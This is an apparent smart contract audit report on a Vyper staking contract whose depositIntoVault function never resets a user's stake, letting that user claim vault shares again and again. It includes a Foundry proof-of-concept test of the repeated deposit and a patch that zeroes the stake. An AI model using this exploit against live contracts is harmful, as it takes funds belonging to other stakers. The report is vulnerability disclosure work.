Summary
When depositIntoVault is called, it do not update the userStakes that allow them to get more shares over and over again untill contract have ether.
Vulnerability Details
Relavent code - 2024-08-steaking/steaking-contracts/src/Steaking.vy at main · Cyfrin/2024-08-steaking (github.com)
def depositIntoVault() -> uint256:
"""
@notice Allows users who have staked ETH during the staking period to deposit their ETH
into the WETH Steak vault.
@dev Before depositing into the vault, the raw ETH is converted into WETH.
@return The amount of shares received from the WETH Steak vault.
"""
assert self._hasStakingPeriodEndedAndVaultAddressSet(), STEAK__STAKING_PERIOD_NOT_ENDED_OR_VAULT_ADDRESS_NOT_SET
stakedAmount: uint256 = self.usersToStakes[msg.sender]
assert stakedAmount > 0, STEAK__AMOUNT_ZERO
extcall IWETH(WETH).deposit(value=stakedAmount)
extcall IWETH(WETH).approve(self.vault, stakedAmount)
@>
sharesReceived: uint256 = extcall IWETHSteakVault(self.vault).deposit(stakedAmount, msg.sender)
log DepositedIntoVault(msg.sender, stakedAmount, sharesReceived)
return sharesReceived
When user deposit to vault, there staked amount is used to convert to WETH and deposit to vault, which returns the shares amount value. Which is emited as event used.
However, user staked amount is not set to zero, That allows him to call this function again and again untill contract have enough ether giving him unfair advantage.
POC
function testDoubleSpendingVulnerability() public {
uint256 stakeAmount = 1 ether;
_stake(user1, stakeAmount, user1);
_stake(address(0x456), stakeAmount, address(0x456);
_endStakingPeriod();
vm.startPrank(owner);
steaking.setVaultAddress(address(wethSteakVault));
vm.stopPrank();
vm.startPrank(user1);
uint256 initialShares = steaking.depositIntoVault();
uint256 doubleSpendShares = steaking.depositIntoVault();
vm.stopPrank();
assertEq(doubleSpendShares, initialShares);
assertEq(wethSteakVault.balanceOf(user1), initialShares * 2);
assertEq(steaking.usersToStakes(user1), stakeAmount);
}
Impact
Loss of shares for innocent users
Tools Used
Manual Review
Recommendations
Reset the usersToStakes mapping to zero, so they can't call it over and over again.
def depositIntoVault() -> uint256:
"""
@notice Allows users who have staked ETH during the staking period to deposit their ETH
into the WETH Steak vault.
@dev Before depositing into the vault, the raw ETH is converted into WETH.
@return The amount of shares received from the WETH Steak vault.
"""
assert self._hasStakingPeriodEndedAndVaultAddressSet(), STEAK__STAKING_PERIOD_NOT_ENDED_OR_VAULT_ADDRESS_NOT_SET
stakedAmount: uint256 = self.usersToStakes[msg.sender]
assert stakedAmount > 0, STEAK__AMOUNT_ZERO
+ self.usersToStakes[msg.sender] = 0;
extcall IWETH(WETH).deposit(value=stakedAmount)
extcall IWETH(WETH).approve(self.vault, stakedAmount)
sharesReceived: uint256 = extcall IWETHSteakVault(self.vault).deposit(stakedAmount, msg.sender)
log DepositedIntoVault(msg.sender, stakedAmount, sharesReceived)
return sharesReceived
